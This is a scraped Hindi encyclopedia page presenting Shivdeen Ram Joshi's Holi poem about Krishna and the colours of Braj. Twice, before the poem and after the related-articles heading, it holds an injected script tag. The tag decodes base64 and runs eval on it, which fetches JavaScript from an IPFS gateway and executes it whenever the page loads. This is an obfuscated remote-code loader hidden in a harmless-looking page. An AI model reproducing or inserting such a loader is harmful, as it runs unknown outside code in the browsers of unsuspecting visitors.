एक्स्प्रेशन त्रुटि: अनपेक्षित उद्गार चिन्ह "२"।

रंग बरसत ब्रज में होरी का -शिवदीन राम जोशी

भारत डिस्कवरी प्रस्तुति
यहाँ जाएँ:भ्रमण, खोजें

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

रंग बरसत ब्रज में होरी का।
बरसाने की मस्त गुजरिया, नखरा वृषभानु किशोरी का।।
गुवाल बाल नन्दलाल अनुठा, वादा करे सब से झूठा।
माखन चोर रसिक मन मोहन, रूप निहारत गौरी का।।
मारत हैं पिचकारी कान्हा, धूम माचवे और दीवाना।
चंग बजा कर रंग उडावे, काम करें बरजोरी का।।
ब्रज जन मस्त मस्त मस्ताना, नांचे कूदे गावे गाना ।
नन्द महर घर आनंद छाया, खुल गए फाटक मोरी का ।।
कहे शिवदीन सगुण सोही निरगुण, परमानन्द होगया सुण-सुण।
नांचै नृत्य धुन धमाल, देखो अहीरों की छोरी का।।

संबंधित लेख

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>